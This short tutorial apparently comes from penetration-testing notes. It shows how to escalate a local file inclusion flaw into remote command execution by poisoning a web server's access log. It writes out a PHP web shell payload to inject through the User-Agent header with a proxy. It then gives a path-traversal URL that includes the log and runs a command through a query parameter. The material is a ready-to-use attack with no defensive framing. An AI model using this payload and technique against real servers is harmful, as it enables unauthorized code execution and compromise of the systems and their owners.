- LFI Vulnerability
- Access to the Error or Access Log of the Server.
Example Log Entry
127.0.0.1 "GET /apache_pb.gif HTTP/1.0" "http://www.example.com/start.html" "Mozilla/4.08 [en] (Win98; I ;Nav)"
In this entry we see Header Information "Mozilla/4.08 [en] (Win98; I ;Nav)"
from a GET Request and
this is the place where we add our code.
- Activate a Proxy like Burp Suite where you can edit the Request.
- Add a Webshell to your header
<?php echo shell_exec($_GET['cmd']);exit;?>
So our example Log entry would look like this:
127.0.0.1 "GET /apache_pb.gif HTTP/1.0" "http://www.example.com/start.html" "<?php echo shell_exec($_GET['cmd']);exit;?>"
- Browse to your Access Log and add the command as URL Parameter:
http://x.x.x.x/lfivuln.php?file=../../../../../var/log/httpd-access.log&cmd=id